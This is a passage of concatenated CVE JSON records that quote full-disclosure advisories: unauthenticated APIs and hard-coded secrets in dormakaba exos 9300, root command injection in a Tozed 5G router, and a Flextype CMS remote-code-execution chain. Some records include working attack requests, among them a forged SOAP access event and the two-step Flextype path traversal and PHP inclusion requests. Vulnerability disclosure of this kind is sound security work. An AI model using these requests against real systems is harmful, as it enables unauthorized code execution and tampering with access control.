(CVE-2025-59092)\nAn RPC service, which is part of exos 9300, is reachable on port 4000, run by\nthe process FSMobilePhoneInterface.exe. This service is used for interprocess\ncommunication between services and the Kaba exos 9300 GUI, containing status\ninformation about the access managers. Interacting with the service does not\nrequire any authentication. Therefore, it is possible to send arbitrary status\ninformation about door contacts etc. without prior authentication.\n\n4) Insecure Password Derivation Function for Database Administrator (CVE-2025-59093)\nExos 9300 instances are using a randomly generated database password to connect\nto the configured MSSQL server. The password is derived from static random values,\nwhich are concatenated to the hostname and a random string that can be read by\nevery user from the registry. This allows an attacker to derive the database\npassword and get authenticated access to the central exos 9300 database as the\nuser \"Exos9300Common\". The user has the roles \"ExosDialog\" and \"ExosDialogDotNet\"\nassigned, which are able to read most tables of the database as well as update\nand insert into many tables.\n\n5) Local Privilege Escalation in exos 9300 System management (CVE-2025-59094)\nA local privilege escalation vulnerability has been identified in the\nKaba exos 9300 System management application (d9sysdef.exe). Within this\napplication it is possible to specify an arbitrary executable as well as\nthe weekday and start time, when the specified executable should be run\nwith SYSTEM privileges.\n\n6) Hard-coded Key for PIN Encryption (CVE-2025-59095)\nThe program libraries (DLL) and binaries used by exos 9300 contain multiple\nhard-coded secrets. One notable example is the function \"EncryptAndDecrypt\"\nin the library Kaba.EXOS.common.dll. This algorithm uses a simple XOR encryption\ntechnique combined with a cryptographic key (cryptoKey) to transform each\ncharacter of the input string. However, it\u0027s important to note that this\nimplementation does not provide strong encryption and should not be considered\nsecure for sensitive data. It\u0027s more of a custom encryption approach rather\nthan a common algorithm used in cryptographic applications. The key itself is\nstatic and based on the founder\u0027s name of the company. The functionality is\nfor example used to encrypt the user PINs before storing them in the MSSQL\ndatabase.\n\n7) Weak Default Password (CVE-2025-59096)\nThe default password for the extended admin user mode in the application\nU9ExisAdmin.exe (\"Kaba 9300 Administration\") is hard-coded in multiple\nlocations as well as documented in the locally stored user documentation.\n\n\nProof of concept:\n-----------------\n1) Unauthenticated SOAP API (CVE-2025-59090)\nTo create arbitrary access log entries, the following request can be sent\nto the exos 9300 server on port 8002:\n------Request--------\nPOST /IIdmm2CommunicationHubService HTTP/1.1\nHost: \u003cexos IP\u003e:8002\nUser-Agent: gSOAP/2.8\nContent-Type: application/soap+xml; charset=utf-8; \naction=\"http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/SetAccessEvent\";\nContent-Length: 984\nConnection: keep-alive\nSOAPAction:\"http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/SetAccessEvent\";\n\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cSOAP-ENV:Envelope\n  xmlns:SOAP-ENV=\"http://www.w3.org/2003/05/soap-envelope\";\n  xmlns:SOAP-ENC=\"http://www.w3.org/2003/05/soap-encoding\";\n  xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\";\n  xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\";\n  xmlns:arr=\"http://schemas.microsoft.com/2003/10/Serialization/Arrays\";\n  xmlns:ns2=\"http://kbr.kaba.ch/services/ICommunicationHub2IdmmService\";\n  xmlns:ns1=\"http://kbr.kaba.ch/services/IIdmm2CommunicationHubService\";\u003e\n  \u003cSOAP-ENV:Body\u003e\n    \u003cns1:SetAccessEvent\u003e\n      \u003cns1:identifier\u003eI010001\u003c/ns1:identifier\u003e\n      \u003cns1:accessEvent\u003e\n        \u003cns1:BadgeNr\u003e00000000000000061337\u003c/ns1:BadgeNr\u003e\n        \u003cns1:DeviceStatus\u003e1\u003c/ns1:DeviceStatus\u003e\n        \u003cns1:EventId\u003e10\u003c/ns1:EventId\u003e\n        \u003cns1:LogDate\u003e2025-01-01T13:37:00.0000000\u003c/ns1:LogDate\u003e\n        \u003cns1:RegistrationUnitInd"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:31:52Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/22"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/22"
        },
        {
          "url": "http://kbr.kaba.ch/services/ICommunicationHub2IdmmService\""
        },
        {
          "url": "http://kbr.kaba.ch/services/IIdmm2CommunicationHubService\""
        },
        {
          "url": "http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/GetPerson\""
        },
        {
          "url": "http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/SetAccessEvent\""
        },
        {
          "url": "http://schemas.microsoft.com/2003/10/Serialization/Arrays\""
        },
        {
          "url": "http://www.w3.org/2001/XMLSchema\""
        },
        {
          "url": "http://www.w3.org/2001/XMLSchema-instance\""
        },
        {
          "url": "http://www.w3.org/2003/05/soap-encoding\""
        },
        {
          "url": "http://www.w3.org/2003/05/soap-envelope\""
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://r.sec-consult.com/dormakaba"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.dormakaba.com/"
        },
        {
          "url": "https://www.dormakaba.com/gb-en/offering/products/electronic-access-data/corporate-access-control-solutions/dormakaba-exos-9300-base-system--ka_500000"
        },
        {
          "url": "https://www.dormakabagroup.com/en/security-advisories"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/22"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260126-0 :: Multiple Critical Vulnerabilities in dormakaba Kaba exos 9300",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-59090",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59091",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59092",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59093",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59094",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59095",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59096",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0190",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/22",
            "automated": true,
            "contentSha256": "12b4aaf996246ad094c3f964daefe5f4d02a99bdadb4812f6683e101abe33c1c",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/22",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-26T10:21:32Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0190"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-09T13:31:52Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0190"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "ZLT X300 / X300A 5G CPE Router",
          "vendor": "Tozed Kangwei Tech Co., Ltd (Shenzhen, China)",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Surf free"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Tozed ZLT X300 5G CPE Router firmware 6.01.3 contains an OS command\ninjection vulnerability (CWE-78) in the TR-069/CWMP client daemon\n(netcwmpd). The IPPingDiagnostics Host parameter is passed unsanitized into\nsprintf, which constructs a shell command executed via system_by_root() as\nroot.\n\n\nAn attacker operating a rogue LTE base station using SDR hardware (~$300)\ncan impersonate the carrier\u0027s Auto Configuration Server and inject\narbitrary shell commands as root. No authentication, user interaction, or\nphysical access is required.\n\n\n2. CVE ID: CVE-2026-2035703\n\n   CVSS: 9.8 (Critical)\n\n   CWE: CWE-78 (OS Command Injection)\n\n\n3. AFFECTED PRODUCT\n\n   Vendor: Tozed Kangwei Tech Co., Ltd (Shenzhen, China)\n\n   Product: ZLT X300 / X300A 5G CPE Router\n\n   Firmware: 6.01.3 (all versions believed affected)\n\n   Architecture: aarch64 (MediaTek MT7992, OpenWrt 23.05.5)\n\n\n4. VULNERABLE CODE (IDA Pro decompilation, netcwmpd at 0x463E6C)\n\n\n   sprintf(cmd,\n\n       \"ping%s -c %d -s %d -W %u%s \\\"%s\\\" \u003e /tmp/.tr069_pingtest.log\",\n\n       ipv4_flag, repetitions, block_size, timeout, interface,\n\n       HOST);  // unsanitized TR-069 parameter\n\n\n   Execution chain:\n\n   sprintf (0x463E6C) -\u003e sub_5BA8C4 (opcode 0x13)\n\n   -\u003e sub_5BC23C (service_shell handler)\n\n   -\u003e sub_5BBC88 -\u003e system_by_root(cmd)\n\n\n5. ATTACK VECTOR\n\n   Rogue LTE eNodeB (srsRAN + USRP/ANTSDR, ~$300) within\n\n   radio range impersonates carrier ACS, sends TR-069\n\n   SetParameterValues with injected Host parameter.\n\n\n6. IMPACT\n\n   - Full root compromise (uid=0, gid=0)\n\n   - Mass surveillance, DNS hijacking, traffic interception\n\n   - Credential theft (WiFi, TR-069, IMEI)\n\n   - Persistent backdoor installation\n\n   - Lateral movement to all LAN devices\n\n\n7. AFFECTED CARRIERS (partial list)\n\n   du (UAE), STC/Mobily (Saudi Arabia), EE/O2/Three (UK),\n\n   Telekom (Germany), Orange/SFR (France), Singtel (Singapore),\n\n   MTN (South Africa/Nigeria), and others in 15+ countries.\n\n\n8. VENDOR RESPONSE\n\n   Vendor has no PSIRT. Refused to engage after multiple\n\n   disclosure attempts. Claimed fix without evidence.\n\n   ZTE PSIRT confirmed: \"not our product.\"\n\n\n9. COORDINATION\n\n   CERT/CC: VRF#26-09-VVTLF\n\n   ZDI: Case danish11620001\n\n   aeCERT: Notified\n\n   CISA: Notified\n\n\n10. ADVISORY\n\n\nhttps://github.com/danish1162/CVE-2026-2035703-x300/security/advisories/GHSA-qcpp-vfr2-v242\n\n\n11. TIMELINE\n\n    2026-08-14  Reported to vendor (global_marketing () gztozed com)\n\n    2026-08-22  Vendor claimed \"fixed\" \u2014 no evidence\n\n    2026-08-27  Vendor refused further engagement\n\n    2026-08-29  Public disclosure via GitHub Security Advisory\n\n    2026-09-05  Full disclosure\n\n\n12. CREDIT\n\n    Muhammad Nadeem Danish (danish1162)\n\n    https://hackerone.com/danish1162\n\n    https://github.com/danish1162\n\n\n13. TESTING ENVIRONMENT\n\n    All live testing in private lab (Pakistan), sysmocom test\n\n    SIM (IMSI 999, ITU reserved), Band 7 (unoccupied).\n\n    No live commercial network affected.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:04:37Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/32"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/32"
        },
        {
          "url": "https://github.com/danish1162"
        },
        {
          "url": "https://github.com/danish1162/CVE-2026-2035703-x300/security/advisories/GHSA-qcpp-vfr2-v242"
        },
        {
          "url": "https://hackerone.com/danish1162"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/32"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "**Subject:** CVE-2026-2035703: Tozed ZLT X300 5G CPE \u2014 Unauthenticated Remote Root Code Execution via TR-069 Command Injection (CVSS 9.8)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0306",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/32",
            "automated": true,
            "contentSha256": "d6bf529d0d190b2876c7112ce53e5f6fc49c1a42f7edd39d7d4565dac52d24e2",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/32",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-05T17:07:22Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T18:02:11Z",
    "dateUpdated": "2026-09-09T13:04:37Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0306"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS contains a remote code execution vulnerability in the\ninteraction between the Entries API and Shortcodes::registerShortcodes().\nThe /api/v1/entries endpoint accepts an attacker-controlled entry\nidentifier that can contain path traversal sequences, allowing content\ncontaining PHP code to be written outside the intended entries directory.\n\nThe /api/v1/query endpoint subsequently permits an attacker-controlled path\nto reach Shortcodes::registerShortcodes(), where the supplied path is\npassed to an include_once operation relative to FLEXTYPE_ROOT_DIR.\n\nAn attacker can therefore first use the path traversal condition to place a\nPHP-containing file at a predictable location beneath the application root\nand then invoke registerShortcodes() with the path to that file. PHP\ninterprets the included file as executable PHP regardless of the .md\nextension, resulting in execution of attacker-controlled code in the\ncontext of the Flextype PHP process.\nImpact\n\nA remote attacker with the required API access can execute arbitrary PHP\ncode with the privileges of the Flextype application process. This may\nresult in complete compromise of the affected Flextype installation,\nincluding unauthorized access to application data, modification or deletion\nof content, disclosure of sensitive configuration or credentials accessible\nto the application, installation of persistent malicious code, and further\ncompromise of resources accessible from the application server.\n\nThe demonstrated proof of concept performs only a benign filesystem write\nto /tmp/register-shortcodes-rce-proof, confirming arbitrary PHP execution\nwithout performing destructive actions.\nTechnical DetailsStep 1 \u2014 Path Traversal Allows PHP Content to Be Written\nBeneath the Application Root\n\nThe /api/v1/entries endpoint accepts the attacker-controlled identifier\n../../rce-register-shortcodes. The traversal sequence causes the resulting\nentry to be written to /app/rce-register-shortcodes/entry.md rather than\nremaining within the intended entries storage location.\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../rce-register-shortcodes\",\"data\":{\"title\":\"register\nshortcodes rce\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\"}}\n\nThe server accepts the traversal identifier and returns a successful\nresponse:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 410\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"register shortcodes\nrce\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"77bce63b-9006-46df-8bbc-48e2182d5b84\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027);\n?\u003e\",\"slug\":\"rce-register-shortcodes\",\"published_at\":1788178537,\"modified_at\":1788178537,\"created_at\":1788178537,\"routable\":true,\"visibility\":\"visible\",\"id\":\"../../rce-register-shortcodes\"}\n\nThe resulting file is created at:\n\n/app/rce-register-shortcodes/entry.md\n\nIts contents include the supplied PHP payload:\n\n---\ntitle: \u0027register shortcodes rce\u0027\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 77bce63b-9006-46df-8bbc-48e2182d5b84\n---\n\u003c?php file_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\n\nBefore the file is included, the proof file does not exist:\n\nmarker_exists=no\n\nThis confirms that merely writing the entry does not execute the PHP\npayload.\nStep 2 \u2014 Attacker-Controlled Path Reaches registerShortcodes() include_once\n\nThe attacker can then invoke parsers().shortcodes().registerShortcodes()\nthrough /api/v1/query and supply the path of the previously created file:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"include\":\"parsers().shortcodes().registerShortcodes([{enabled:\ntrue, path: \u0027rce-register-shortcodes/entry.md\u0027}])\"}}\n\nThe supplied path reaches an include_once operation equivalent to:\n\ninclude_once FLEXTYPE_ROOT_DIR . \u0027/\u0027 . $path;\n\nThe server successfully processes the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 16\nAccess-Control-Allow-Origin: *\n\n{\"include\":null}\n\nFollowing the registerShortcodes() invocation, the marker file exists:\n\nmarker_exists=yes\nREGISTER_SHORTCODES_RCE_PROOF\n\nThe transition from marker_exists=no before the include_once operation to\nmarker_exists=yes afterward demonstrates that the PHP contained within\nentry.md was interpreted and executed by the PHP runtime.\nExploitation Chain\n\nThe demonstrated attack consists of two conditions:\n\n   1. *Path traversal / arbitrary file write:* attacker-controlled PHP\n   content is written beneath the Flextype application root using\n   /api/v1/entries.\n   2. *Attacker-controlled PHP inclusion:* /api/v1/query allows the\n   attacker to pass the created file to Shortcodes::registerShortcodes(),\n   which reaches include_once.\n\nWhen chained, these conditions result in remote arbitrary PHP code\nexecution.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:04:02Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/27"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/27"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-77939",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0171",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27",
            "automated": true,
            "contentSha256": "cec7964b74c54019ca126c9c212da2fd328a1ff216fefb227384a3d13481e4fc",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/27",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T12:33:45Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0171"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-09T13:04:02Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0171"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS contains a remote code execution vulnerability in the\ninteraction between the Entries API and Shortcodes::registerShortcodes().\nThe /api/v1/entries endpoint accepts an attacker-controlled entry\nidentifier that can contain path traversal sequences, allowing content\ncontaining PHP code to be written outside the intended entries directory.\n\nThe /api/v1/query endpoint subsequently permits an attacker-controlled path\nto reach Shortcodes::registerShortcodes(), where the supplied path is\npassed to an include_once operation relative to FLEXTYPE_ROOT_DIR.\n\nAn attacker can therefore first use the path traversal condition to place a\nPHP-containing file at a predictable location beneath the application root\nand then invoke registerShortcodes() with the path to that file. PHP\ninterprets the included file as executable PHP regardless of the .md\nextension, resulting in execution of attacker-controlled code in the\ncontext of the Flextype PHP process.\nImpact\n\nA remote attacker with the required API access can execute arbitrary PHP\ncode with the privileges of the Flextype application process. This may\nresult in complete compromise of the affected Flextype installation,\nincluding unauthorized access to application data, modification or deletion\nof content, disclosure of sensitive configuration or credentials accessible\nto the application, installation of persistent malicious code, and further\ncompromise of resources accessible from the application server.\n\nThe demonstrated proof of concept performs only a benign filesystem write\nto /tmp/register-shortcodes-rce-proof, confirming arbitrary PHP execution\nwithout performing destructive actions.\nTechnical DetailsStep 1 \u2014 Path Traversal Allows PHP Content to Be Written\nBeneath the Application Root\n\nThe /api/v1/entries endpoint accepts the attacker-controlled identifier\n../../rce-register-shortcodes. The traversal sequence causes the resulting\nentry to be written to /app/rce-register-shortcodes/entry.md rather than\nremaining within the intended entries storage location.\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../rce-register-shortcodes\",\"data\":{\"title\":\"register\nshortcodes rce\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\"}}\n\nThe server accepts the traversal identifier and returns a successful\nresponse:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 410\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"register shortcodes\nrce\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"77bce63b-9006-46df-8bbc-48e2182d5b84\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027);\n?\u003e\",\"slug\":\"rce-register-shortcodes\",\"published_at\":1788178537,\"modified_at\":1788178537,\"created_at\":1788178537,\"routable\":true,\"visibility\":\"visible\",\"id\":\"../../rce-register-shortcodes\"}\n\nThe resulting file is created at:\n\n/app/rce-register-shortcodes/entry.md\n\nIts contents include the supplied PHP payload:\n\n---\ntitle: \u0027register shortcodes rce\u0027\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 77bce63b-9006-46df-8bbc-48e2182d5b84\n---\n\u003c?php file_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\n\nBefore the file is included, the proof file does not exist:\n\nmarker_exists=no\n\nThis confirms that merely writing the entry does not execute the PHP\npayload.\nStep 2 \u2014 Attacker-Controlled Path Reaches registerShortcodes() include_once\n\nThe attacker can then invoke parsers().shortcodes().registerShortcodes()\nthrough /api/v1/query and supply the path of the previously created file:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"include\":\"parsers().shortcodes().registerShortcodes([{enabled:\ntrue, path: \u0027rce-register-shortcodes/entry.md\u0027}])\"}}\n\nThe supplied path reaches an include_once operation equivalent to:\n\ninclude_once FLEXTYPE_ROOT_DIR . \u0027/\u0027 . $path;\n\nThe server successfully processes the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 16\nAccess-Control-Allow-Origin: *\n\n{\"include\":null}\n\nFollowing the registerShortcodes() invocation, the marker file exists:\n\nmarker_exists=yes\nREGISTER_SHORTCODES_RCE_PROOF\n\nThe transition from marker_exists=no before the include_once operation to\nmarker_exists=yes afterward demonstrates that the PHP contained within\nentry.md was interpreted and executed by the PHP runtime.\nExploitation Chain\n\nThe demonstrated attack consists of two conditions:\n\n   1. *Path traversal / arbitrary file write:* attacker-controlled PHP\n   content is written beneath the Flextype application root using\n   /api/v1/entries.\n   2. *Attacker-controlled PHP inclusion:* /api/v1/query allows the\n   attacker to pass the created file to Shortcodes::registerShortcodes(),\n   which reaches include_once.\n\nWhen chained, these conditions result in remote arbitrary PHP code\nexecution.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:04:02Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/27"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/27"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0002",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27",
            "automated": true,
            "contentSha256": "cec7964b74c54019ca126c9c212da2fd328a1ff216fefb227384a3d13481e4fc",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/27",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T12:33:45Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-09T13:04:02Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0002"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
